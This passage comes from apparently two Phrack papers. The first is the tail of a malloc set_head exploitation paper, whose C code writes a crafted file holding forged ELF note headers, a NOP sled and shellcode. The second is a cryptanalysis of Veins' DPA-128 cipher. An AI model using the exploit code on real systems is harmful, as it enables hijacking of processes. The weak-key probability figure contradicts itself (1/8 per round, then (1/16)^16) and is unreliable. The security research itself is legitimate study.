elfnhdr‑>n_descsz = 12;

elfnhdr‑>n_type = 1;

ptr = buffer + OFFSET_OVERWRITE + 12;

sprintf (ptr, "NetBSD‑CORE");

// Put the new topchunk size 7 times in memory

// The note entry program name is at a specific, odd offset (24+0x7c)?

for (i = 0; i < 7; i++)

put_longword (buffer + OFFSET_OVERWRITE + 24 + 0x7c + (i * 4), topchunk_size);

// This note entry lets us eat 31 bytes + overhead, but

// its real purpose is to load the shellcode in memory.

// We assume that its name is 31 bytes long.

elfnhdr = (Elf32_Nhdr *) (buffer + OFFSET_SHELLCODE); elfnhdr‑>n_namesz = 12;

elfnhdr‑>n_descsz = 12;

elfnhdr‑>n_type = 1;

ptr = buffer + OFFSET_SHELLCODE + 12;

sprintf (ptr, "NetBSD‑CORE");

sprintf (buffer + OFFSET_SHELLCODE + 24 + 0x7c, "BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB");

// Fill this memory region with our shellcode.

// Remember to leave the note entry untouched ...

memset (buffer + OFFSET_SHELLCODE + 256, 0x90, 4096‑256); sprintf (buffer + 8191 ‑ strlen (scode), scode);

fp = open_file (filename);

if (fwrite (buffer, 8192, 1, fp) != 0 ) {

printf ("‑‑[ The file has been written\n");

} else {

printf ("‑‑[ Can not write to the file\n"); exit (1);

}

fclose (fp);

free (shead);

free (math);

free (buffer);

free (filename);

return 0;

}

‑‑[ 7 ‑ Final words

That's all for the details of this technique; a lot has already been said through this paper. By looking at the complexity of the malloc code, there are probably many other ways to take control of a process by corrupting the malloc chunks.

Of course, this paper explains the technical details of set_head, but personally, I think that all the exploitation techniques are ephemeral. This is more true, especially recently, with all the low level security controls that were added to the modern operating systems. Beside having great technical skills, I personally think it's important to develop your mental skills and your creativity. Try to improve your attitude when solving a difficult problem. Develop your perseverance and determination, even though you may have failed at the same thing 20, 50 or 100 times in a row.

I would like to greet the following individuals: bond, dp, jinx, Michael and nitr0gen. There is more people that I forget. Thanks for the help and the great conversations we had over the last few years.

‑‑[ 8 ‑ References

1. Solar Designer, http://www.openwall.com/advisories/OW‑002‑netscape‑jpeg/

2. Anonymous, http://www.phrack.org/archives/57/p57‑0x09

3. Kaempf, Michel, http://www.phrack.org/archives/57/p57‑0x08

4. Phantasmal Phantasmagoria, http://www.packetstormsecurity.org/papers/attack/MallocMaleficarum.txt

5. Phantasmal Phantasmagoria, http://seclists.org/vuln‑dev/2004/Feb/0025.html

6. jp, http://www.phrack.org/archives/61/p61‑0x06_Advanced_malloc_exploits.txt

7. Guay‑Leroux, Jean‑Sebastien, http://www.guay‑leroux.com/projects.html

8. gera, http://www.phrack.org/archives/59/p59‑0x07.txt

9. The Shellcoder's Handbook: Discovering and Exploiting Security Holes

Cryptanalysis of DPA-128

_

_/B\_ W\_

(* *) Phrack #64 file 10 (* *)

| ‑ |

| | Cryptanalysis of DPA‑128 | |

| |

| | By SysK | |

| |

| | syskall@phreaker.net | |

(___________________________

‑‑[ Contents

1 ‑ Introduction

2 ‑ A short word about block ciphers

3 ‑ Overview of block cipher cryptanalysis

4 ‑ Veins' DPA‑128

4.1 ‑ Bugs in the implementation

4.2 ‑ Weaknesses in the design

5 ‑ Breaking the linearized version

6 ‑ On the non linearity of addition modulo n in GF(2) 7 ‑ Exploiting weak keys

7.1 ‑ Playing with a toy cipher

7.2 ‑ Generalization and expected complexity

7.3 ‑ Cardinality of |W

8 ‑ Breaking DPA based unkeyed hash function

8.1 ‑ Introduction to hash functions

8.2 ‑ DPAsum() algorithm

8.3 ‑ Weaknesses in the design/implementation

8.4 ‑ A (2nd) preimage attack

9 ‑ Conclusion

10 ‑ Greetings

11 ‑ Bibliography

‑‑[ 1 ‑ Introduction

While the cracking scene has grown with cryptology thanks to the evolution of binary protection schemes, the hacking scene mostly hasn't. This fact is greatly justified by the fact that there were globally no real need. Indeed it's well known that if a hacker needs to decrypt some files then he will hack into the box of its owner, backdoor the system and then use it to steal the key. A cracker who needs to break a protection scheme will not have the same approach: he will usually try to understand it fully in order to find and exploit design and/or implementation flaws.

Although the growing of the security industry those last years changed a little bit the situation regarding the hacking community, nowadays there are still too many people with weak knowledge of this science. What is disturbing is the broadcast of urban legends and other hoax by some paranoids among them. For example, haven't you ever heard people claiming that government agencies were able to break RSA or AES? A much more clever question would have been: what does "break" mean?

A good example of paranoid reaction can be found in M1lt0n's article [FakeP63]. The author who is probably skilled in hacking promotes the use of "home made cryptographic algorithms" instead of standardized ones such as 3DES. The corresponding argument is that since most so‑called security experts lake coding skills then they aren't able to develop appropriate tools for exotic ciphers. While I agree at least partially with him regarding the coding abilities, I can't possibly agree with the main thesis. Indeed if some public tools are sufficient to break a 3DES based protection then it means that a design and/or an implementation mistake was/were made since, according to the state of the art, 3DES is still unbroken. The cryptosystem was weak from the beginning and using "home made cryptography" would only weaken it more.

It is therefore extremely important to understand cryptography and to trust the standards. In a previous Phrack issue (Phrack 62), Veins exposed to the hacking community a "home made" block cipher called DPA (Dynamic Polyalphabetic Algorithms) [DPA128]. In the following paper, we are going to analyze this cipher and demonstrate that it is not flawless ‑ at least from a cryptanalytic perspective ‑ thus fitting perfectly with our talk.

‑‑[ 2 ‑ A short word about block ciphers

Let's quote a little bit the excellent HAC [MenVan]:

"A block cipher is a function which maps n‑bit plaintext blocks to n‑bit ciphertext blocks; n is called the blocklength. It may be viewed as a simple substitution cipher with large character size. The function is parametrized by a k‑bit key K, taking values from a subset |K (the key space) of the set of all k‑bit vectors Vk. It is generally assumed that the key is chosen at random. Use of plaintext and ciphertext blocks of equal size avoids data expansion."

Pretty clear isn't it? :> So what's the purpose of such a cryptosystem? Obviously since we are dealing with encryption this class of algorithms provides confidentiality. Its construction makes it particularly suitable for applications such as large volumes encryption (files or HD for example). Used in special modes such as CBC (like in OpenSSL) then it can also provide stream encryption. For example, we use AES‑CBC in the WPA2, SSL and SSH protocols.

Remark: When used in conjunction with other mechanisms, block ciphers can also provide services such as authentication or integrity (cf part 8 of the paper).

An important point is the understanding of the cryptology utility. While cryptography aims at designing best algorithms that is to say secure and fast, cryptanalysis allows the evaluation of the security of those algorithms. The more an algorithm is proved to have weaknesses, the less we should trust it.

‑‑[ 3 ‑ Overview of block cipher cryptanalysis

The cryptanalysis of block ciphers evolved significantly in the 90s with the apparition of some fundamental methods such as the differential [BiSha90] and the linear [Matsui92] cryptanalysis. In addition to some more recent ones like the boomerang attack of Wagner or the chi square cryptanalysis of Vaudenay [Vaud], they constitute the set of so‑called statistical attacks on block ciphers in opposition to the very recent and still controverted algebraic ones (see [CourtAlg] for more information).

Today the evolution of block cipher cryptanalysis tends to stabilize itself. However a cryptographer still has to acquire quite a deep knowledge of those attacks in order to design a cipher. Reading the Phrack paper, we think ‑ actually we may be wrong ‑ that the author mostly based his design on statistical tests. Although they are obviously necessary, they can't possibly be enough. Every component has to be carefully chosen. We identified several weaknesses and think that some more may still be left.

‑‑[ 4 ‑ Veins' DPA‑128 description

DPA‑128 is a 16 rounds block cipher providing 128 bits block encryption using an n bits key. Each round encryption is composed of 3 functions which are rbytechain(), rbitshift() and S_E(). Thus for each input block, we apply the E() function 16 times (one per round) :

void E (unsigned char *key, unsigned char *block, unsigned int shift) {

rbytechain (block);

rbitshift (block, shift);

S_E (key, block, shift);

}

where:

‑ block is the 128b input

‑ shift is a 32b parameter dependent of the round subkey

‑ key is the 128b round subkey

Consequently, the mathematical description of this cipher is: f: |P x |K ‑‑‑‑> |C

where:

‑ |P is the set of all plaintexts

‑ |K is the set of all keys

‑ |C is the set of all ciphertexts

For p element of |P, k of |K and c of |C, we have c = f(p,k) with f = EE...EE = E^16 and meaning the composition of functions.

We are now going to describe each function. Since we sometimes may need mathematics to do so, we will assume that the reader is familiar with basic algebra ;>

rbytechain() is described by the following C function:

void rbytechain(unsigned char *block)

{

int i;

for (i = 0; i < DPA_BLOCK_SIZE; ++i)

block[i] ^= block[(i + 1) % DPA_BLOCK_SIZE]; return;

}

where:

‑ block is the 128b input

‑ DPA_BLOCK_SIZE equals 16

Such an operation on bytes is called linear mixing and its goal is to provide the diffusion of information (according to the well known Shannon theory). Mathematically, it's no more than a linear map between two GF(2) vector spaces of dimension 128. Indeed, if U and V are vectors over GF(2) representing respectively the input and the output of rbytechain() then V = M.U where M is a 128x128 matrix over GF(2) of the linear map where coefficients of the matrix are trivial to find. Now let's see rbitshift(). Its C version is:

void rbitshift(unsigned char *block, unsigned int shift)

{

unsigned int i;

unsigned int div;

unsigned int mod;

unsigned int rel;

unsigned char mask;

unsigned char remainder;

unsigned char sblock[DPA_BLOCK_SIZE];

if (shift)

{

mask = 0;

shift %= 128;

div = shift / 8;

mod = shift % 8;

rel = DPA_BLOCK_SIZE ‑ div;

for (i = 0; i < mod; ++i)

mask |= (1 << i);

for (i = 0; i < DPA_BLOCK_SIZE; ++i)

{

remainder =

((block[(rel + i ‑ 1) % DPA_BLOCK_SIZE]) & mask) << (8 ‑ mod); sblock[i] =

((block[(rel + i) % DPA_BLOCK_SIZE]) >> mod) | remainder; }

}

memcpy(block, sblock, DPA_BLOCK_SIZE);

}

where:

‑ block is the 128b input

‑ DPA_BLOCK_SIZE equals 16

‑ shift is derived from the round subkey

Veins describes it in his paper as a key‑related shifting (in fact it has to be a key‑related 'rotation' since we intend to be able to decrypt the ciphertext ;)). A careful read of the code and several tests confirmed that it was not erroneous (up to a bug detailed later in this paper), so we can describe it as a linear map between two GF(2) vector spaces of dimension 128.

Indeed, if V and W are vectors over GF(2) representing respectively the input and the output of rbitshift() then:

W = M'.V where M' is the 128x128 matrix over GF(2) of the linear map where, unlike the previous function, coefficients of the matrix are unknown up to a probability of 1/128 per round.

Such a function also provides diffusion of information.

Finally, the last operation S_E() is described by the C code:

void S_E (unsigned char *key, unsigned char *block, unsigned int s) {

int i;

for (i = 0; i < DPA_BLOCK_SIZE; ++i)

block[i] = (key[i] + block[i] + s) % 256;

return;

}

where:

‑ block is the 128b input

‑ DPA_BLOCK_SIZE equals 16

‑ s is the shift parameter described in the previous function ‑ key is the round subkey

The main idea of veins' paper is the so‑called "polyalphabetic substitution" concept, whose implementation is supposed to be the S_E() C function. Reading the code, it appears to be no more than a key mixing function over GF(2^8).

Remark: We shall see later the importance of the mathematical operation know as 'addition' over GF(2^8). Regarding the key scheduling, each cipher round makes use of a 128b subkey as well as of a 32b one deriving from it called "shift". The following pseudo code describes this operation:

skey(0) = checksum128(master_key)

for i = 0, nbr_round‑2:

skey(i+1) = checksum128(skey(i))

skey(0) = skey(15)

for i = 0, nbr_round‑1:

shift(nbr_round‑1 ‑ i) = hash32(skey(i))

where skey(i) is the i'th subkey.

It is not necessary to explicit the checksum128() and hash32(), the reader just has to remind this thing: whatever the weakness there may be in those functions, we will now consider them being true oneway hash functions providing perfect entropy.

As a conclusion, the studied cipher is closed to being a SPN (Substitution ‑ Permutation Network) which is a very generic and well known construction (AES is one for example).

‑‑[ 4.1 ‑ Bugs in the implementation

Although veins himself honestly recognizes that the cipher may be weak and "strongly discourages its use" to quote him [DPA128], some people could nevertheless decide to use it as a primitive for encryption of personal and/or sensitive data as an alternative to 'already‑cracked‑by‑NSA' ciphers [NSA2007]. Unfortunately for those theoretical people, we were able to identify a bug leading to a potentially incorrect functioning of the cryptosystem (with a non negligible probability).

We saw earlier that the bitshift code skeleton was the following:

/* bitshift.c */

void {r,l}bitshift(unsigned char *block, unsigned int shift)

{

[...] // SysK : local vars declaration

unsigned char sblock[DPA_BLOCK_SIZE];

if (shift)

{

[...] // SysK : sblock initialization

}

memcpy(block, sblock, DPA_BLOCK_SIZE);

}

Clearly, if 'shift' is 0 then 'block' is fed with stack content! Obviously in such a case the cryptosystem can't possibly work.

Since shift is an integer, such an event occurs with at least a theoretical probability of 1/2^32 per round.

Now let's study the shift generation function:

/* hash32.c */

/*

* This function computes a 32 bits output out a variable length input. It is * not important to have a nice distribution and low collisions as it is used * on the output of checksum128() (see checksum128.c). There is a requirement * though, the function should not consider \0 as a key terminator. */

unsigned long hash32(unsigned char *k, unsigned int length)

{

unsigned long h;

for (h = 0; *k && length; ++k, ‑‑length)

h = 13 * h + *k;

return (h);

}

As stated in the C code commentary, hash32() is the function which produces the shift. Although the author is careful and admits that the output distribution may not be completely uniform (not exactly equal probability for each byte value to appear) it is obvious that a strong bias is not desirable (Cf 7.3).

However what happens if the first byte pointed by k is 0 ? Since the loop ends for k equal to 0, then h will be equal to 13 * 0 + 0 = 0. Assuming that the underlying subkey is truly random, such an event should occur with a probability of 1/256 (instead of 1/2^32). Since the output of hash32() is an integer as stated in the comment, this is clearly a bug.

We could be tempted to think that this implementation failure leads to a weakness but a short look at the code tells us that:

struct s_dpa_sub_key {

unsigned char key[DPA_KEY_SIZE];

unsigned char shift;

};

typedef struct s_dpa_sub_key DPA_SUB_KEY;

Therefore since shift is a char object, the presence of "*k &&" in the code doesn't change the fact that the cryptosystem will fail with a probability of 1/256 per round.

Since the bug may appear independently in each round, the probability of failure is even greater:

p("fail") = 1 ‑ p("ok")

= 1 ‑ Mul( p("ok in round i") )

= 1 ‑ (255/256)^16

= 0.0607...

where i is element of [0, (nbr_rounds ‑ 1)]

It's not too far from 1/16 :‑)

Remark: We shall see later that the special case where shift is equal to 0 is part of a general class of weak keys potentially allowing an attacker to break the cryptosystem.

Hunting weaknesses and bugs in the implementation of cryptographic primitives is the common job of some reverse engineers since it sometimes allows to break implementations of algorithms which are believed to be theoretically secure. While those flaws mostly concern asymmetric primitives of digital signature or key negotiation/generation, it can also apply in some very specific cases to the block cipher world.

From now, we will consider the annoying bug in bitshift() fixed.

‑‑[ 4.2 ‑ Weaknesses in the design

When designing a block cipher, a cryptographer has to be very careful about every details of the algorithm. In the following section, we describe several design mistakes and explain why in some cases, it can reduce the security of the cipher.

a) We saw earlier that the E() function was applied to each round. However such a construction is not perfect regarding the first round. Since rbytechain() is a linear mixing operating not involving key material, it shouldn't be used as the first operation on the input buffer since its effect on it can be completely canceled. Therefore, if a cryptanalyst wants to attack the bitshift() component of the first round, he just have to apply lbytechain() (the rbytechain() inverse function) to the input vector. It would thus have been a good idea to put a key mixing as the first operation.

b) The rbitshift() operation only need the 7 first bits of the shift character whereas the S_E() uses all of them. It is also generally considered a bad idea to use the same key material for several operations.

c) If for some reason, the attacker is able to leak the second (not the first) subkey then it implies the compromising of all the key material. Of course the master key will remain unknown because of the onewayness of checksum128() however we do not need to recover it in order to encrypt and/or decrypt datas.

d) In the bitshift() function, a loop is particularly interesting:

for (i = 0; i < mod; ++i)

mask |= (1 << i);

What is interesting is that the time execution of the loop is dependent of "mod" which is derived from the shift. Therefore we conclude that this loop probably allows a side channel attack against the cipher. Thanks to X for having pointed this out ;> In the computer security area, it's well known that a single tiny mistake can lead to the total compromising of an information system. In cryptography, the same rules apply.

‑‑[ 5 ‑ Breaking the linearized version

Even if we regret the non justification of addition operation employment, it is not the worst choice in itself. What would have happen if the key mixing had been done with a xor operation over GF(2^8) instead as it is the case in DES or AES for example?

To measure the importance of algebraic consideration in the security of a block cipher, let's play a little bit with a linearized version of the cipher. That is to say that we replace the S_E() function with the following S_E2() where :

void S_E2 (unsigned char *key, unsigned char *block, unsigned int s) {

int i;

for (i = 0; i < DPA_BLOCK_SIZE; ++i)

block[i] = (key[i] ^ block[i] ^ s) % 256; [1]

// + is replaced by xor

return;

}

If X, Y and K are vectors over GF(2^8) representing respectively the input, the output of S_E2() and the round key material then Y = X xor K.

Remark: K = sK xor shift. We use K for simplification purpose.

Now considering the full round we have :

V = M.U [a] (rbytechain)

W = M'.V [b] (rbitshift)

Y = W xor K [c] (S_E2)

Linear algebra allows the composition of applications rbytechain() and rbitshift() since the dimensions of M and M' match but W in [b] is a vector over GF(2) whereas W in [c] is clearly over GF(2^8). However, due to the use of XOR in [c], Y, W and K can also be seen as vectors over GF(2). Therefore, S_E2() is a GF(2) affine map between two vector spaces of dimension 128.

We then have:

Y = M'.M.U xor K

The use of differential cryptanalysis will help us to get rid of the key. Let's consider couples (U0,Y0 = E(U0)) and (U1,Y1 = E(U1)) then:

DELTA(Y) = Y0 xor Y1

= (M'.M.U0 xor K) xor (M'.M.U1 xor K)

= (M'.M.U0 xor M'.M.U1) xor K xor K (commutativity &

associativity of xor)

= (M'.M).(U0 xor U1) (distributivity) = (M'.M).DELTA(U)

Such a result shows us that whatever sK and shift are, there is always a linear map linking an input differential to the corresponding output differential.

The generalization to the 16 rounds using matrix multiplication is obvious. Therefore we have proved that there exists a 128x128 matrix Mf over GF(2) such as DELTA(Y) = Mf.DELTA(X) for the linearized version of the cipher.

Then assuming we know one couple (U0,Y0) and Mf, we can encrypt any input U. Indeed, Y xor Y0 = Mf.(U xor U0) therefore Y = (Mf.(U xor U0)) xor Y0.

Remark 1: The attack doesn't give us the knowledge of subkeys and shifts but such a thing is useless. The goal of an attacker is not the key in itself but rather the ability of encrypting/decrypting a set of plaintexts/ciphertexts. Furthermore, considering the key scheduling operation, if we really needed to recover the master key, it would be quite a pain in the ass considering the fact that checksum128() is a one way function ;‑)

Remark 2: Obviously in order to decrypt any output Y we need to calculate Mf^‑1 which is the inverse matrix of Mf. This is somewhat more interesting isn't it ? :‑)

Because of rbitshift(), we are unable to determine using matrix multiplications the coefficients of Mf. An exhaustive search is of course impossible because of the huge complexity (2^16384) however, finding them is equivalent to solving 128 systems (1 system per row of Mf) of 128 variables (1 variable per column) in GF(2). To build such a system, we need 128 couples of (cleartext,ciphertext). The described attack was implemented using the nice NTL library ([SHOUP]) and can be found in annexe A of this paper.

$ g++ break_linear.cpp bitshift.o bytechain.o key.c hash32.o checksum128.o ‑o break_linear ‑lntl ‑lcrypto ‑I include

$ ./break_linear

[+] Generating the plaintexts / ciphertexts

[+] NTL stuff !

[+] Calculation of Mf

[+] Let's make a test !

[+] Well done boy :>

Remark: Sometimes NTL detects a linear relation between chosen inputs (DELTA_X) and will then refuse to work. Indeed, in order to solve the 128 systems, we need a situation where every equations are independent. If it's not the case, then obviously det(M) is equal to 0 (with probability 1/2). Since inputs are randomly generated, just try again until it works :‑)

$ ./break_linear

[+] Generating the plaintexts / ciphertexts

[+] NTL stuff !

det(M) = 0

As a conclusion we saw that the linearity over GF(2) of the xor operation allowed us to write an affine relation between two elements of GF(2)^128 in the S_E2() function and then to easily break the linearized version using a 128 known plaintext attack. The use of non linearity is crucial in the design. Fortunately for DPA‑128, Veins chose the addition modulo 256 as the key mixer which is naturally non linear over GF(2).

‑‑[ 6 ‑ On the non linearity of addition modulo n over GF(2)

The bitshift() and bytechain() functions can be described using matrix over GF(2) therefore it is interesting to use this field for algebraic calculations.

The difference between addition and xor laws in GF(2^n) lies in the carry propagation:

w(i) + k(i) = w(i) xor k(i) xor carry(i)

where w(i), k(i) and carry(i) are elements of GF(2).

We note w(i) as the i'th bit of w and will keep this notation until the end. carry(i), written c(i) for simplification purpose, is defined recursively:

c(i+1) = w(i).k(i) xor w(i).c(i) xor k(i).c(i)

with c(0) = 0

Using this notation, it would thus be possible to determine a set of relations over GF(2) between input/output bits which the attacker controls using a known plaintext attack and the subkey bits (which the attacker tries to guess).

However, recovering the subkey bits won't be that easy. Indeed, to determine them, we need to get rid of the carries replacing them by multivariate polynomials were unknowns are monomials of huge order.

Remark 1: Because of the recursivity of the carry, the order of monomials grows up as the number of input bits per round as well as the number of rounds increases.

Remark 2: Obviously we can not use intermediary input/output bits in our equations. This is because unlike the subkey bits, they are dependent of the input.

We are thus able to express the cryptosystem as a multivariate polynomial system over GF(2). Solving such a system is NP‑hard. There exists methods for system of reasonable order like groebner basis and relinearization techniques but the order of this system seems to be far too huge.

However for a particular set of keys, the so‑called weak keys, it is possible to determine the subkeys quite easily getting rid of the complexity introduced by the carry.

‑‑[ 7 ‑ Exploiting weak keys

Let's first define a weak key. According to wikipedia:

"In cryptography, a weak key is a key which when used with a specific cipher, makes the cipher behave in some undesirable way. Weak keys usually represent a very small fraction of the overall keyspace, which usually means that if one generates a random key to encrypt a message weak keys are very unlikely to give rise to a security problem. Nevertheless, it is considered desirable for a cipher to have no weak keys."

Actually we identified a particular subset |W of |K allowing us to deal quite easily with the carry problem. A key "k" is part of |W if and only if for each round the shift parameter is a multiple of 8. The reader should understand why later.

We will first present the attack on a reduced version of DPA for simplicity purpose and generalize it later to the full version.

‑‑[ 7.1 ‑ Playing with a toy cipher

Our toy cipher is a 2 rounds DPA. Moreover, the cipher takes as input 4*8 bits instead of 16*8 = 128 bits which means that DPA_BLOCK_SIZE = 4. We also make a little modification in bytechain() operation. Let's remember the bytechain() function:

void rbytechain(unsigned char *block)

{

int i;

for (i = 0; i < DPA_BLOCK_SIZE; ++i)

block[i] ^= block[(i + 1) % DPA_BLOCK_SIZE];

return;

}

Since block is both input AND output of the function then we have for DPA_BLOCK_SIZE = 4:

V(0) = U(0) xor U(1)

V(1) = U(1) xor U(2)

V(2) = U(2) xor U(3)

V(3) = U(3) xor V(0) = U(0) xor U(1) xor U(3)

Where V(x) is the x'th byte element.

Thus with our modification:

V(0) = U(0) xor U(1)

V(1) = U(1) xor U(2)

V(2) = U(2) xor U(3)

V(3) = U(3) xor U(0)

Regarding the mathematical notation (pay your ascii !@#):

‑ U,V,W,Y vector notation of section 5 remains.

‑ Xj(i) is the i'th bit of vector Xj where j is j'th round. ‑ U0 vector is equivalent to P where P is a plaintext.

‑ m is the shift of round 0

‑ n is the shift of round 1

‑ xor will be written '+' since calculation is done in GF(2) ‑ All calculation of subscript will be done in the ring ZZ_32

How did we choose |W? Using algebra in GF(2) implies to deal with the carry. However, if k is a weak key (part of |W), then we can manage the calculation so that it's not painful anymore.

Let i be the lowest bit of any input byte. Therefore for each i part of the set {0,8,16,24} we have:

u0(i) = p(i)

v0(i) = p(i) + p(i+8)

w0(i+m) = v0(i)

y0(i) = w0(i) + k0(i) + C0(i)

y0(i+m) = w0(i+m) + k0(i+m) + C0(i+m)

y0(i+m) = p(i) + p(i+8) + k0(i+m) + C0(i+m) /* carry(0) = 0 */

y0(i+m) = p(i) + p(i+8) + k0(i+m)

u1(i) = y0(i)

v1(i) = y0(i) + y0(i+8)

w1(i+n) = v1(i)

y1(i) = w1(i) + k1(i) + C1(i)

y1(i+n) = w1(i+n) + k1(i+n) + C1(i+n)

y1(i+n) = y0(i) + y0(i+8) + k1(i+n) + C1(i+n)

y1(i+n+m) = y0(i+m) + y0(i+m+8) + k1(i+n+m) + C1(i+n+m) /* carry(0) = 0 */

y1(i+n+m) = p(i) + p(i+8) + k0(i+m) + p(i+8) + p(i+16) + k0(i+m+8) + k1(i+n+m)

y1(i+n+m) = p(i) + k0(i+m) + p(i+16) + k0(i+m+8) + k1(i+n+m)

As stated before, i is part of the set {0,8,16,24} so we can write:

y1(n+m) = p(0) + k0(m) + p(16) + k0(m+8) + k1(n+m) y1(8+n+m) = p(8) + k0(8+m) + p(24) + k0(m+16) + k1(8+n+m) y1(16+n+m) = p(16) + k0(16+m) + p(0) + k0(m+24) + k1(16+n+m) y1(24+n+m) = p(24) + k0(24+m) + p(8) + k0(m) + k1(24+n+m)

In the case of a known plaintext attack, the attacker has the knowledge of a set of couples (P,Y1). Therefore considering the previous system, the lowest bit of K0 and K1 vectors are the unknowns. Here we have a system which is clearly underdefined since it is composed of 4 equations and 4*2 unknowns. It will give us the relations between each lowest bit of Y and the lowest bits of K0 and K1.

Remark 1: n,m are unknown. A trivial approach is to determine them which costs a complexity of (2^4)^2 = 2^8. Although it may seem a good idea, let's recall the reader that we are considering a round reduced cipher! Indeed, applying the same idea to the full 16 rounds would cost us (2^4)^16 = 2^64! Such a complexity is a pain in the ass even nowadays :‑)

A much better approach is to guess (n+m) as it costs 2^4 what ever the number of rounds. It gives us the opportunity to write relations between some input and output bits. We do not need to know exactly m and n. The knowledge of the intermediate variables k0(x+m) and k1(y+n+m) is sufficient.

Remark 2: An underdefined system brings several solutions. We are thus able to choose arbitrarily 4 variables thus fixing them with values of our choice. Of course we have to choose so that we are able to solve the system with remaining variables. For example taking k0(m), k0(m+8) and k1(n+m) together is not fine because of the first equation. However, fixing all the k0(x+m) may be a good idea as it automatically gives the k1(y+n+m) corresponding ones.

Now let's go further. Let i be part of the set {1,9,17,25}. We can write:

u0(i) = p(i)

v0(i) = p(i) + p(i+8)

w0(i+m) = v0(i)

y0(i) = w0(i) + k0(i) + w0(i‑1)*k0(i‑1)

y0(i+m) = w0(i+m) + k0(i+m) + w0(i+m‑1)*k0(i+m‑1)

y0(i+m) = p(i) + p(i+8) + k0(i+m) + w0(i+m‑1)*k0(i+m‑1)

y0(i+m) = p(i) + p(i+8) + k0(i+m) + (p(i‑1) + p(i‑1+8))*k0(i+m‑1)

u1(i) = y0(i)

v1(i) = y0(i) + y0(i+8)

w1(i+n) = v1(i)

y1(i) = w1(i) + k1(i) + C1(i)

y1(i) = w1(i) + k1(i) + w1(i‑1)*k1(i‑1)

y1(i+n) = w1(i+n) + k1(i+n) + w1(i‑1+n)*k1(i‑1+n)

y1(i+n) = y0(i) + y0(i+8) + k1(i+n) + (y0(i‑1) + y0(i+8‑1)) * k1(i‑1+n)

y1(i+n+m) = y0(i+m) + y0(i+m+8) + k1(i+m+n)

+ (y0(i+m‑1) + y0(i+m+8‑1)) * k1(i+m+n‑1)

y1(i+n+m) = p(i) + p(i+8) + k0(i+m) + (p(i‑1) + p(i‑1+8)) * k0(i+m‑1) + p(i+8) + p(i+16) + k0(i+m+8)

+ (p(i+8‑1) + p(i‑1+16)) * k0(i+m‑1+8)

+ k1(i+n+m)

+ k1(i+m+n‑1) * [p(i‑1) + p(i+8‑1) + k0(i+m‑1)] + k1(i+m+n‑1) * [p(i‑1+8) + p(i+16‑1) + k0(i+m‑1+8)]

y1(i+n+m) = p(i) + k0(i+m) + (p(i‑1) + p(i‑1+8)) * k0(i+m‑1) + p(i+16) + k0(i+m+8) + (p(i+8‑1) + p(i‑1+16)) * k0(i+m‑1+8) + k1(i+n+m)

+ k1(i+m+n‑1)*[p(i‑1) + k0(i+m‑1)]

+ k1(i+m+n‑1)*[p(i‑1+16) + k0(i+m‑1+8)]

Thanks to the previous system resolution, we have the knowledge of k0(i+m+n‑1+x) and k1(i+m‑1+y) variables. Therefore, we can reduce the previous equation to:

A(i) = k0(i+m) + k0(i+m+8) + k1(i+n+m) (alpha)

where A(i) is a known value for the attacker.

Remark 1: This equation represents the same system as found in case of i being the lowest bit! Therefore all previous remarks remain.

Remark 2: If we hadn't have the knowledge of k0(i+m+n‑1+x) and k1(i+m‑1+y) bits then the number of variables would have grown seriously. Moreover we would have had to deal with some degree 2 monomials :‑/.

We can thus conjecture that the equation alpha will remain true for each i part of {a,a+8,a+16,a+24} where 0 <= a < 8.

‑‑[ 7.2 ‑ Generalization and expected complexity

Let's deal with the real bytechain() function now.

As stated before and for DPA_BLOCK_SIZE = 4 we have:

V(0) = U(0) xor U(1)

V(1) = U(1) xor U(2)

V(2) = U(2) xor U(3)

V(3) = U(0) xor U(1) xor U(3)

This is clearly troublesome as the last byte V(3) is NOT calculated like V(0), V(1) and V(2). Because of the rotations involved, we wont be able to know when the bit manipulated is part of V(3) or not.

Therefore, we have to use a general formula:

V(i) = U(i) + U(i+1) + a(i).U(i+2)

where a(i) = 1 for i = 24 to 31

For i part of {0,8,16,24} we have:

u0(i) = p(i)

v0(i) = p(i) + p(i+8) + a0(i).p(i+16)

w0(i+m) = v0(i)

y0(i) = w0(i) + k0(i) + C0(i)

y0(i+m) = w0(i+m) + k0(i+m) + C0(i+m)

y0(i+m) = p(i) + p(i+8) + a0(i).p(i+16) + k0(i+m) + C0(i+m) /*carry(0) = 0*/

y0(i+m) = p(i) + p(i+8) + a0(i).p(i+16) + k0(i+m)

So in the second round:

u1(i) = y0(i)

v1(i) = y0(i) + y0(i+8) + a1(i).y0(i+16)

w1(i+n) = v1(i)

y1(i) = w1(i) + k1(i) + C1(i)

y1(i+n) = w1(i+n) + k1(i+n) + C1(i+n)

y1(i+n) = y0(i) + y0(i+8) + a1(i).y0(i+16) + k1(i+n) + C1(i+n) y1(i+n+m) = y0(i+m) + y0(i+m+8) + a1(i+m).y0(i+m+16) + k1(i+n+m)

y1(i+n+m) = p(i) + p(i+8) + a0(i).p(i+16) + k0(i+m)

+ p(i+8) + p(i+16) + a0(i).p(i+24) + k0(i+m+8) + a1(i+m).[p(i+16) + p(i+24) + a0(i).p(i) + k0(i+m+16)] + k1(i+n+m)

y1(i+n+m) = p(i) + a0(i).p(i+16) + k0(i+m)

+ p(i+16) + a0(i).p(i+24) + k0(i+m+8)

+ a1(i+m).[p(i+16) + p(i+24) + a0(i).p(i) + k0(i+m+16)] + k1(i+n+m)

a0(i) is not a problem since we know it. This is coherent with the fact that the first operation of the cipher is rbytechain() which is invertible for the attacker. However, the problem lies in the a1(i+m) variables.

Guessing a1(i+m) is out of question as it would cost us a complexity of (2^4)^15 = 2^60 for the 16 rounds! The solution is to consider a1(i+m) as an other set of 4 variables. We can also add the equation to our system:

a1(m) + a1(m+8) + a1(m+16) + a1(m+24) = 1

This equation will remain true for other bits.

So what is the global complexity? Obviously with DPA_BLOCK_SIZE = 16 each system is composed of 16+1 equations of 16+1 variables (we fixed the others). Therefore, the complexity of the resolution is: log(17^3) / log(2) ~ 2^13.

We will solve 8 systems since there are 8 bits per byte. Thus the global complexity is around (2^13)*8 = 2^16.

Remark: We didn't take into account the calculation of equation as it is assumed to be determined using a formal calculation program such as pari‑gp or magma.

‑‑[ 7.3 ‑ Cardinality of |W

What is the probability of choosing a weak key? We have seen that our weak key criterion is that for each round, the rotation parameter needs to be multiple of 8. Obviously, it happens with 16 / 128 = 1/8 theoretical probability per round. Since we consider subkeys being random, the generation of rotation parameters are independent which means that the overall probability is (1/16)^16 = 1/2^64.

